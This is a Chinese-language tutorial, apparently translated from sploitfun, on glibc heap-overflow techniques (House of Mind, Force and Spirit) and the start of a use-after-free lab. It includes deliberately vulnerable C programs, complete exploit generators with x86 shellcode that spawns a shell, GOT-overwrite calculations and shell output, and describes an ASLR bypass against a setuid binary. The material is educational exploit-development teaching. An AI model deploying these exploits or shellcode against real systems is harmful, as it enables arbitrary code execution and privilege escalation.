9 | * The House of Force:要求能够重写 top chunk,并且存在一个可控 size 的 malloc 函数,最后还需要再调用另一个 malloc 函数。
10 | * The House of Lore:不适用于我们的例程。
11 | * The House of Spirit:假设攻击者可以控制一个释放块的指针,但是这个技术还不能使用。
12 |
13 | # House of Mind
14 |
15 | 在这个技术里面攻击者戏使用自己构造的`arena`去戏弄`malloc glibc`。假的`arena` 以 unsorted bin 的 fd 是 free - 12 的 got 入口地址,因此漏洞程序在 free chunk 时 `free()` 的 got 入口被 shellcode 地址覆盖后,这时 free 被调 pbzip2 用 shellcode 就会被执行!
16 |
17 | > 不是所有堆溢出都能用这个技术,下面是能应用`house of mind`先决条件:
18 |
19 | 需要一些列 malloc 的调用直到一块内存的地址对齐到 HEAP_MAX_SIZE 的整数倍,这样才能得到一块有攻击者控制的内存。
20 |
21 | 假冒的`help_info` 结构体在这内存区域被发现。伪造的`heap_info`的`arena`指针 ar_ptr 将会指向伪造的`arena`.
22 |
23 | 因此伪造的`arena`和伪造的`heap_info`的内存区域都会被攻击者控制。
24 |
25 | chunk 的 size 域(和它的 arena 指针 - prereq 1) 被攻击者控制应该被 free。
26 |
27 | chunk 相邻的 free chunk 前面不该是 top chunk.
28 |
29 | 漏洞程序: 这个程序满足上述需求。
30 |
31 | ```c
32 | /* vuln.c
33 | House of Mind vulnerable program
34 | */
35 | #include
36 | #include
37 |
38 | int main (void) {
39 | char *ptr = malloc(1024); /* First allocated chunk */
40 | char *ptr2; /* Second chunk/Last but one chunk */
41 | char *ptr3; /* Last chunk */
42 | int heap = (int)ptr & 0xFFF00000;
43 | _Bool found = 0;
44 | int i = 2;
45 |
46 | for (i = 2; i < 1024; i++) {
47 | /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
48 | /* 0x08100000 is the place where fake heap_info structure is found. */
49 | [1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
50 | (heap + 0x100000))) {
51 | printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
52 | found = 1;
53 | break;
54 | }
55 | }
56 | [2]ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
57 | /* User Input. */
58 | [3]fread (ptr, 1024 * 1024, 1, stdin);
59 |
60 | [4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
61 | [5]free(ptr3); /* Shell code execution. */
62 | return(0); /* Bye */
63 | }
64 | ```
65 |
66 | 上述程序的堆内存布局:
67 |
68 | 
69 |
70 | 标号 3 是发生堆溢出的位置。
71 |
72 | 用户输入被会被存储到 chunk1 的内存指针 大小为 1M 的内存。
73 |
74 | 因此为了成功利用堆溢出,攻击者提高如下的用户输入(区分序列):
75 |
76 | * 假 arean
77 | * 填充
78 | * 假 heap_info
79 | * shellcode
80 |
81 | exp 程序,这个程序生成攻击者的输入数据:
82 |
83 | ```c
84 | /* exp.c
85 | Program to generate attacker data.
86 | Command:
87 | #./exp > file
88 | */
89 | #include
90 |
91 | #define BIN1 0xb7fd8430
92 |
93 | char scode[] =
94 | /* Shellcode to execute linux command "id". Size - 72 bytes. */
95 | "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
96 | "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
97 | "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
98 | "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
99 | "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
100 |
101 | char ret_str[4] = "\x00\x00\x00\x00";
102 |
103 | void convert_endianess(int arg)
104 | {
105 | int i=0;
106 | ret_str[3] = (arg & 0xFF000000) >> 24;
107 | ret_str[2] = (arg & 0x00FF0000) >> 16;
108 | ret_str[1] = (arg & 0x0000FF00) >> 8;
109 | ret_str[0] = (arg & 0x000000FF) >> 0;
110 | }
111 | int main() {
112 | int i=0,j=0;
113 |
114 | fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
115 | fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
116 | fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
117 | fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
118 | /* Fake Arena. */
119 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
120 | fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
121 | for(i=0;i<10;i++)
122 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
123 | fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
124 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
125 | for(i=0;i<127;i++) {
126 | convert_endianess(BIN1+(i*8));
127 | if(i == 119) {
128 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
129 | fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
130 | } else if(i==0) {
131 | fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
132 | fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
133 | }
134 | else {
135 | fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
136 | fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
137 | }
138 | }
139 | for(i=0;i<4;i++) {
140 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
141 | }
142 | fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
143 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
144 | fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
145 | fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
146 | for(i=0;i<234;i++) {
147 | fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
148 | }
149 | for(i=0;i<722;i++) {
150 | if(i==721) {
151 | /* Chunk 724 contains the shellcode. */
152 | fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
153 | fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
154 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
155 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
156 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
157 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
158 | fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
159 | "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
160 | fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
161 | for(j=0;j<230;j++)
162 | fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
163 | continue;
164 | } else {
165 | fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
166 | fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
167 | }
168 | if(i==720) {
169 | for(j=0;j<90;j++)
170 | fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
171 | fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
172 | for(j=0;j<165;j++)
173 | fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
174 | } else {
175 | for(j=0;j<256;j++)
176 | fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
177 | }
178 | }
179 | return 0;
180 | }
181 | ```
182 |
183 | 使用构造的数据输入后的漏洞程序堆空间:
184 |
185 | 
186 |
187 | 随着攻击者生成的数据被输入,当标号 4 被执行时 glibc malloc 做了如下的:
188 |
189 | * 通过调用 arena_for_chunk 宏来恢复正在释放的 chunk 的 arena。
190 |
191 | 1. `arena_for_chunk`: 如果 NON_MAIN_ARENA (N) bit 没有被置位,会返回 main arena,如果设置了,则通过将块地址与 HEAP_MAX_SIZE 的倍数对齐来访问对应的 heap_info 结构。
192 |
193 | 然后返回获得的 heap_info 结构体的 arena 指针。
194 |
195 | 在我们的例子里面,NON_MIAN_ARENA 位被攻击者设置,因此获得被释放的 chunk 的 heap_info 结构体。
196 |
197 | 攻击者也将以这样的方式覆写(获得的 heap_info 结构的)arena 指针,即它指向 fake arena,即 heap_info 的 ar_ptr = fake arena 的基地址(即 0x0804a018)。
198 |
199 | 使用 arena 指针和 chunk 地址作为参数调用_int_free. 在例子中,arena 指针指向伪造的 arena,因此假 arena 和 chunk 地址作为参数传递给_int_free。
200 |
201 | 假 arena 的构造:以下是需要被攻击者覆写的假 arena 的必填字段:
202 |
203 | mutex - 应该是无锁状态
204 | bins - unsorted bin 的 fd 应该包含 free - 12 的 got 的地址
205 |
206 | 顶部地址不应该等于被 free 的 chunk 地址。
207 |
208 | 顶部地址应该大于 next chunk 的地址。
209 |
210 | 系统内存 - 内存应该大于 next chunk 的 size。
211 |
212 | > _int_free():
213 |
214 | * 如果 chunk 没有映射,则获得锁,在我们的例子里面 chunk 没有被映射所以假的 arena 互斥锁获取成功。
215 |
216 | 1. 合并:
217 |
218 | 如果发现前面的 chunk 是 free 的,则像后合并;后面的 chunk 是 free 的,则向前合并。在我们的例子中前面的 chunk 是被分配的出去的,所以不能被向后合并;后面的 chunk 状态也是 allocated 因此不能被向前合并。
219 |
220 | * 当前的 free chunk 在 unsorted bin.
221 |
222 | 在我们的案例中,fake arena 的 unsorted bin 的 fd 包含 free 的 GOT 的地址 - 12,它被复制到'fwd'。
223 |
224 | 之后,当前被释放的 chunk 的地址被复制到`fwd->bk`.
225 |
226 | bk 是位于 malloc_chunk 偏移 12 的地方,因此 12 被加到这个 fwd 的值上也就是说 free-12+12
227 |
228 | 因此现在 free 的 got 入口地址被修改成包含当前的 free 状态的 chunk 的地址。
229 |
230 | 自攻击者放置他的 shellcode 在当前 free 状态的 chunk,然后不久 free 被调用时候攻击者的 shellcode 被执行。
231 |
232 | 攻击者以构造的数据做输入执行存在的漏洞的程序 shellcode 被执行如下:
233 |
234 | ```shell
235 | Sn0rt@warzone:~$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=~/workspace/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=~/workspace/glibc/glibc-inst2.20/lib/ld-linux.so.2
236 | Sn0rt@warzone:~$ gcc -g -o exp exp.c
237 | Sn0rt@warzone:~$ ./exp > file
238 | Sn0rt@warzone:~$ ./vuln < file
239 | ptr found at 0x804a008
240 | good heap allignment found on malloc() 724 (0x81002a0)
241 | uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
242 | ```
243 |
244 | 保护: 如今,house of mind 技术自`glibc malloc` GOT 加固后而失效。
245 |
246 | 下面是 glibc 为保护 house-of-mind 利用堆溢出增加的检查:
247 |
248 | 被破坏的 chunk:如果`glibc malloc`没有抛出 chunk 被破坏这样的错误,那么 unsotred bin 的第一个 chunk 的 bk 指针应该指向 unsorted bin.
249 |
250 | ```c
251 | if (__glibc_unlikely (fwd->bk != bck))
252 | {
253 | errstr = "free(): corrupted unsorted chunks";
254 | goto errout;
255 | }
256 | ```
257 |
258 | # House of Force
259 |
260 | 在这种技术中,攻击者滥用 top chunk size 来戏弄 'glibc malloc' 使用 top chunk 处理非常大的内存请求(大于堆系统内存大小)。
261 |
262 | 现在当一个新的 malloc 请求参数,free 的 GOT 条目将被覆写为 shellcode 地址。
263 |
264 | 因此自现在起无论何时 free() 被调用,shellcode 将会被执行。
265 |
266 | 先决条件:成功应用 house of force 需要三个 malloc 调用如下:
267 |
268 | * Malloc 1: 攻击者应该可以控制 top chunk 的 size,因此,堆溢出应该可能在物理上位于 top chunk 之前的这个分配的块上。
269 | * Malloc 2: 攻击者应该能够控制这个 malloc 请求的大小。
270 | * Malloc 3: 用户输入应复制到这个分配的 chunk。
271 |
272 | 漏洞程序: 此程序满足上述先决条件.
273 |
274 | ```c
275 | /*
276 | House of force vulnerable program.
277 | */
278 | #include
279 | #include
280 | #include
281 |
282 | int main(int argc, char *argv[])
283 | {
284 | char *buf1, *buf2, *buf3;
285 | if (argc != 4) {
286 | printf("Usage Error\n");
287 | return;
288 | }
289 | [1]buf1 = malloc(256);
290 | [2]strcpy(buf1, argv[1]); /* Prereq 1 */
291 | [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
292 | [4]buf3 = malloc(256); /* Prereq 3 */
293 | [5]strcpy(buf3, argv[3]); /* Prereq 3 */
294 |
295 | [6]free(buf3);
296 | free(buf2);
297 | free(buf1);
298 | return 0;
299 | }
300 | ```
301 |
302 | 上述漏洞程序的 heap 内存图示:
303 |
304 | 
305 |
306 | 漏洞程序的 line[2] 时发生堆溢出的地方,因此想要成功利用堆溢出,攻击者需要提供如下名利行参数:
307 |
308 | argv[1] – shellcode + 填充 + top chunk 的 size 被复制到首个 malloc chunk。
309 | argv[2] – size 参数到第二个 malloc chunk。
310 | argv[3] – 用户输入被复制到第三个 malloc chunk。
311 |
312 |
313 | ## exploit
314 |
315 | 利用程序:
316 |
317 | exploit program:
318 |
319 | ```c
320 | /* Program to exploit executable 'vuln' using hof technique.
321 | */
322 | #include
323 | #include
324 | #include
325 |
326 | #define VULNERABLE "./vuln"
327 | #define FREE_ADDRESS 0x08049858-0x8
328 | #define MALLOC_SIZE "0xFFFFF744"
329 | #define BUF3_USER_INP "\x08\xa0\x04\x08"
330 |
331 | /* Spawn a shell. Size - 25 bytes. */
332 | char scode[] =
333 | "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
334 |
335 | int main( void )
336 | {
337 | int i;
338 | char * p;
339 | char argv1[ 265 ];
340 | char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
341 |
342 | strcpy(argv1,scode);
343 | for(i=25;i<260;i++)
344 | argv1[i] = 'A';
345 |
346 | strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
347 | argv[264] = ''; /* Terminating NULL character */
348 |
349 | /* Execution of the vulnerable program */
350 | execve( argv[0], argv, NULL );
351 | return( -1 );
352 | }
353 | ```
354 |
355 | 一旦攻击者的命令行参数被复制到堆中后的漏洞程序的堆内存布局:
356 |
357 | 
358 |
359 | 伴随着攻击者参数发生如下:
360 |
361 | 标号 2 覆写 top chunk 的 size:
362 |
363 | > 攻击者参数(argv[1] - shellcode + pad + 0xFFFFFFFF)被复制到 buf1 的堆,但是参数 argv[1] 大于 256,所以 top chunk 的 size 会被覆写为 0xFFFFFFFF。
364 |
365 | 标号 3 使用 top chunk 分配非常大的块:
366 |
367 | > 非常大的块分配请求的目的是在分配之后使新的 top chunk 应该位于 free 的 GOT 条目之前 8 个字节。
368 |
369 | 所以多个 malloc 的请求(标号 4)将会帮助我么覆写 free 的 got 条目。
370 |
371 | 攻击者参数(argv [2] - 0xFFFFF744)作为 size 参数传递给第二个 malloc 调用(标号[3])。
372 |
373 | 这个 size 参数通过下面公式计算的:
374 |
375 | size = ((free-8)-top)
376 |
377 | 位置
378 |
379 | > free 是 "vlun 中 free 的 GOT 的条目" 也就是说 free = 0x08049858.
380 |
381 | > top 是 "当前的 top chunk (标号 1 后的第一个 malloc)"也就是说 top = 0x0804a108.
382 |
383 | 因此 size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748
384 |
385 | 当 size = 0xFFFFF748 是我们放置新 top chunk free 的 GOT 条目之前的 8 bytes 的实现方式展示如下:
386 |
387 | > (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
388 |
389 | 但是当攻击者通过一个 size 参数 0xFFFFF748,glibc malloc 换装这 size 变成可用的 size 0xFFFFF750,所以现在新的 top chunk 的 size 会位于 0x8049858 而不是 0x8049850.
390 |
391 | 所以作为 0xFFFFF748 的替代,攻击者应该通过 0xFFFFF74 为 size 参数,这样它会被转化为一个如我们所需要内部可用的 size 0xFFFFF748。
392 |
393 | 在标号 4:
394 |
395 | > 现在自标号 [3] top chunk 指向 0x8049850,一个 256 字节的内存分配的请求将会使 glibc malloc 返回 0x8049858 被复制到 buf3.
396 |
397 | 在标号[5]:
398 |
399 | > 复制 buf1 的地址到 buf3,导致 GOT 被覆盖,所以在 line[6]掉用 free 会导致任意 shellcode 执行!
400 |
401 | 用攻击者命令行参数正在的执行的漏洞程序执行 shellcode 如下所示:
402 |
403 | ```shell
404 | Sn0rt@warzone:~$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
405 | Sn0rt@warzone:~$ gcc -g -o exp exp.c
406 | Sn0rt@warzone:~$ ./exp
407 | $ ls
408 | cmd exp exp.c vuln vuln.c
409 | $ exit
410 | ```
411 |
412 | 保护: 直到目前,还没有增加这个技术的保护技术,也就说这个技术可以帮助我们在最新版本的 glibc 上利用堆溢出。🙂
413 |
414 | # House of Spirit
415 |
416 | 这个技术,攻击者戏弄 glibc malloc 返回的 chunk 的地址位于 stack 段,而不是堆段。这样就允许攻击者覆盖存储在栈上的返回地址。
417 |
418 | 先决条件:不是所有堆溢出都能适用 house of spirit,下面是能成功应用它的先决条件。
419 |
420 | * 一个缓冲区溢出覆盖一个包含 malloc 返回的 chunk 地址的变量。
421 | * 上述 chunk 应该是 free 状态,攻击者应该可以控制这个 chunk 的 size 字段,并把它改成等于下一个分配的 chunk 的 size 值。
422 | * Malloc 一个 chunk。
423 | * 用户输入可以被复制到上述的 malloc 的 chunk。
424 |
425 | 漏洞程序:这个程序看上去满足上述需求。
426 |
427 | ```c
428 | /* vuln.c
429 | House of Spirit vulnerable program
430 | */
431 | #include
432 | #include
433 | #include
434 |
435 | void fvuln(char *str1, int age)
436 | {
437 | char *ptr1, name[44];
438 | int local_age;
439 | char *ptr2;
440 | [1]local_age = age; /* Prereq 2 */
441 |
442 | [2]ptr1 = (char *) malloc(256);
443 | printf("\nPTR1 = [ %p ]", ptr1);
444 | [3]strcpy(name, str1); /* Prereq 1 */
445 | printf("\nPTR1 = [ %p ]\n", ptr1);
446 | [4]free(ptr1); /* Prereq 2 */
447 |
448 | [5]ptr2 = (char *) malloc(40); /* Prereq 3 */
449 | [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
450 | printf("\n%s\n", ptr2);
451 | }
452 |
453 | int main(int argc, char *argv[])
454 | {
455 | int i=0;
456 | int stud_class[10]; /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
457 | for(i=0;i<10;i++)
458 | [7]stud_class[i] = 10;
459 | if (argc == 3)
460 | fvuln(argv[1], 25);
461 | return 0;
462 | }
463 | ```
464 | 上述漏洞程序的栈布局
465 |
466 | 
467 |
468 | 漏洞程序的标号[3]处发生了缓冲区溢出,因此为了成功利用漏洞程序,攻击者需要给出以下的命令行参数:
469 |
470 | argv[1] = Shell Code + Stack Address + Chunk size
471 |
472 | Exp:
473 |
474 | ```c
475 | /* Program to exploit executable 'vuln' using hos technique.
476 | */
477 | #include
478 | #include
479 | #include
480 |
481 | #define VULNERABLE "./vuln"
482 |
483 | /* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
484 | char scode[] =
485 | "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
486 |
487 | int main( void )
488 | {
489 | int i;
490 | char * p;
491 | char argv1[54];
492 | char * argv[] = { VULNERABLE, argv1, NULL };
493 |
494 | strcpy(argv1,scode);
495 |
496 | /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
497 | strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30");
498 |
499 | argv[53] = '';
500 |
501 | /* Execution of the vulnerable program */
502 | execve( argv[0], argv, NULL );
503 | return( -1 );
504 | }
505 | ```
506 |
507 | 上述程序在攻击者参数下的栈的布局
508 |
509 |
510 | 
511 |
512 | 随着攻击参数让我们看一下返回地址是如何被覆盖的:
513 |
514 | Line[3]: 缓冲区溢出
515 |
516 | 这里攻击者输入 argv[1] 被复制到名为 name 的缓冲区里面。
517 |
518 | 因为攻击者输入的数据大于 44,变量的 ptr1 和 local_age 分别被栈地址和 chunk size 覆盖。
519 |
520 | 栈地址 - 0xbffffdf0 - 攻击者戏弄 glibc malloc 返回这个地址当 line[5]被执行时。
521 |
522 | chunk size - 0x30 这个 chunk size 被用来当 line[4]被执行时戏弄 glibc malloc。
523 |
524 | Line[4]: 把栈区域加到 glibc malloc 的 fast bin。
525 |
526 | free() 调用 _int_free(). 现在缓冲区溢出后 ptr1 = 0xbffffdf0 (而不是 0x804aa08).
527 |
528 | 以 free()的一个参数覆盖 ptr1
529 |
530 | Overwritten ptr1 is passed as an argument to free().
531 |
532 | 这欺骗 glibc malloc 来 free 一个位于栈空间的内存区域。
533 |
534 | 这个栈区域的 size 会获释放,攻击者会用 0x30 覆盖位于 ptr1-8+4
535 |
536 | 因此`glibc malloc`对待这个 chunk 就像 fast chunk 一样(因为 48 < 64),感兴趣的 free 状态的 chunk 位于 索引 4 的 fastbinlist 的前端。.
537 |
538 | Line[5]: 恢复栈区域(被添加在 line[4])
539 |
540 | 对 malloc 的 40 字节请求会被`checked_request2size()`转化为 48 字节。
541 |
542 | 因为可用 size 48 是属于 fast chunk 的,它的对应的 fast binlist(位于 4 号索引)被恢复。
543 |
544 | fast bins 的第一个 chunk 被移除并返回给用户。
545 |
546 | 第一个 chunk 无所谓,但是栈区域在 line[4]执行期间被增加了。
547 |
548 | Line[6]: 覆盖返回地址
549 |
550 | 复制攻击参数 argv[1] 到位置开始于 0xbffffdf0 的栈区域(glibc malloc 返回的)。
551 |
552 | argv[1]前 16 字节是
553 | \xeb\x0e – 14 字节转跳
554 | \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 – 填充
555 | \xb8\xfd\xff\xbf – 用这个值覆盖存储在 stack 上的返回地址。
556 |
557 | 因此当 fvuln 被执行,eip 将会是 0xbffffdb8 - 这个位置包含转跳指令接着 shellcode 会 spwan 一个 shell!
558 |
559 | ```shell
560 | Sn0rt@warzone:~$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=~/workspace/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=~/workspace/glibc/glibc-inst2.20/lib/ld-linux.so.2
561 | Sn0rt@warzone:~$ gcc -g -o exp exp.c
562 | Sn0rt@warzone:~$ ./exp
563 |
564 | PTR1 = [ 0x804a008 ]
565 | PTR1 = [ 0xbffffdf0 ]
566 |
567 | AAAAAAAAAA����1�Ph//shh/bin��P��S�
568 | $ ls
569 | cmd exp exp.c print vuln vuln.c
570 | $ exit
571 | ```
572 |
573 | 保护: 目前为止还没有增加保护技术,也就说这个技术可以帮助我们在最新版本的 glibc 上利用堆溢出。
574 |
575 | # House of Prime
576 |
577 | WIP
578 |
579 | # House of Lore
580 |
581 | WIP
582 |
583 |
584 | ### reference
585 |
586 | [^sploitfun]: [sploitfun](https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/)
587 |
--------------------------------------------------------------------------------
/chapter3/linux-x86-UAF.md:
--------------------------------------------------------------------------------
1 | # 0x00 prepare
2 |
3 | > What is use-after-free (UAF)?
4 |
5 | 继续使用已经被 free 的堆空间可能会导致任意代码执行,这样的 bug 称为 UFA (use after free)。
6 |
7 | # 0x10 lab
8 |
9 | 存在漏洞的示例程序
10 |
11 | ```c
12 | #include
13 | #include
14 | #include
15 | #define BUFSIZE1 1020
16 | #define BUFSIZE2 ((BUFSIZE1/2) - 4)
17 |
18 | int main(int argc, char **argv) {
19 |
20 | char* name = malloc(12); /* [1] */
21 | char* details = malloc(12); /* [2] */
22 | strncpy(name, argv[1], 12-1); /* [3] */
23 | free(details); /* [4] */
24 | free(name); /* [5] */
25 | printf("Welcome %s\n",name); /* [6] */
26 | fflush(stdout);
27 |
28 | char* tmp = (char *) malloc(12); /* [7] */
29 | char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
30 | char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
31 | free(p2); /* [10] */
32 | char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
33 | char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
34 |
35 | printf("Enter your region\n");
36 | fflush(stdout);
37 | read(0,p2,BUFSIZE1-1); /* [13] */
38 | printf("Region:%s\n",p2);
39 | free(p1); /* [14] */
40 | }
41 | ```
42 |
43 | 编译指令
44 |
45 | ```shell
46 | # echo 2 > /proc/sys/kernel/randomize_va_space
47 | $ gcc -o vuln vuln.c
48 | $ sudo chown root vuln
49 | $ sudo chgrp root vuln
50 | $ sudo chmod +s vuln
51 | ```
52 |
53 | 重要:不同于之前,`ASLR`在这里打开了,所以在这里我么需要利用信息泄漏和暴力破解绕过来`ASLR`。
54 |
55 | 上面存在 UAF 漏洞的代码存在于标号[6]与标号[13],他们各自的 free 在[5]和[10],但是他们的指针即使在被 free 过后还被使用。[6]处的 UAF 导致信息泄露,[13]处导致任意代码执行。
56 |
57 | ## 0x11 analysis
58 |
59 | > 什么是信息泄漏? 攻击者如何撬动它?
60 |
61 | 在我们的漏洞代码(标号 6)中,信息泄漏被用来获取堆地址,这个被泄漏堆地址帮助攻击者更加容易的计算 ASLR 后堆地址的基地址。
62 | 要理解对地址是如何被泄漏的,首先要先理解漏洞代码的前面一部分。
63 |
64 | * 行 [1] 分配 16 字节的堆空间给 name.
65 | * 行 [2] 分配 16 字节的堆空间给 details.
66 | * 行 [3] 复制程序的参数 1 (argv[1]) 到 name 的内存区域。
67 | * 行 [4] 和 [5] 释放 name 和 details 内存区域给 glibc 的 malloc。
68 | * 行 [6] 的 `printf()`在 name 被释放后使用它,这回导致地址泄漏。
69 |
70 | 根据之前的 ptmalloc2,知道 name 和 details 对应的 chunk 的指针是 fast chunk 类型的,当这些 fast chunk 被释放时候他们会被存储进 fast bins 的索引 0.也知道每个 fast bin 包含一个 free chunk 的单链表。因此如每一个我们例子,fast bin 的 index[0] 的单链表如下所示意:
71 |
72 | `main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL`
73 |
74 | 由于这种单链接,'name'的前四个字节包含'details_chunk'地址。 因此,当 name 被打印时,details_chunk 地址被首先打印。从堆布局,我们知道'details chunk'位于与堆基地址偏移 0x10 处。 因此从泄漏的堆地址减去 0x10,给我们堆基地址!
75 |
76 | > 如何实现任意代码执行?
77 |
78 | 现在已经获得了随机化的堆段的基地址,通过理解易受攻击的代码的后半部分来实现任意代码的执行。
79 |
80 | * 行 [7] 分配 16 字节的内存区域给 tmp.
81 | * 行 [8] 分配 1024 字节的内存区域给 p1.
82 | * 行 [9] 分配 1024 字节的内存区域给 p2.
83 | * 行 [10] 释放 p2 指向的内存区域回 glibc malloc.
84 | * 行 [11] 分配 512 字节 内存区域 p2_1.
85 | * 行 [12] 分配 512 字节 内存区域 p2_2.
86 | * 行 [13] 是在 p2 被释放过后开始使用它。
87 | * 行 [14] 释放 p1 指向的内存区域, 这里会导致在退出时候的任意代码执行。
88 |
89 | 根据之前的知识,我们知道当'p2'被释放到 glibc malloc 时,它被合并到 top chunk 中。后来当请求分配 p2_1 内存时,它会从 top chunk 分配即 p2 和 p2_1 包含相同的堆地址。此外,当请求 p2_2 申请内存时候,也从 top chunk 分配即 p2_2 距离 p2 为 512 字节。因此当在行 13 处发生 p2 指针的 UAF,攻击者控制的数据(最大 1019 字节)被复制到大小仅为 512 字节的 p2_1 中,因此剩余的数据会覆盖 next chunk p2_2 的头部的 size 域。
90 |
91 | 堆布局:
92 |
93 | 
94 |
95 | 根据之前的知识,如果攻击者覆盖了 next chunk 头部的 size 域, 就可以即使在 p2_1 已经被分配的状态下戏弄 glibc malloc 进行 unlink.同样在本文中,还将会看到 unlink 一个其 chunk header 是攻击者精心构造且处于被分配状态的 large chunk 可能会导致任意代码执行,攻击者构造伪造的 chunk header 如下所述:
96 |
97 | fd 应该指向被释放的 chunk 地址。 从堆布局可发现 p2_1 位于偏移 0x410 处。 因此 fd = heap_base_address(从信息泄漏 bug 获得)+ 0x410。
98 |
99 | * fd 应该指向被释放的 chunk 地址。 从堆布局可发现 p2_1 位于偏移 0x410 处。 因此 fd = heap_base_address(从信息泄漏 bug 获得)+ 0x410。
100 | * bk 也应该指向被释放的 chunk 的地址。 从堆布局可发现 p2_1 位于偏移 0x410 处。 因此 fd = heap_base_address(从信息泄漏 bug 获得)+ 0x410。
101 | * fd_nextsize 该指向 tls_dtor_list - 0x14。tls_dtor_list 属于 glibc 的私有匿名映射段,段地址是被随机化的。因此攻破随机随机化可以使用暴力破记得技术。
102 |
103 | bk_nextsize 应该指向包含 dtor_list 元素的堆地址!system dtor_list 被攻击者在 feak chunk header 后注入,而 setuid dtor_list 被攻击者注入是用来替代 p2_2 指向的堆区域。从堆布局还可知道 system 和 setuid 的 dtor_list 分别位于偏移量 0x428 处和 0x618 处。
104 |
105 | Exp:
106 |
107 | ```python
108 | #exp.py
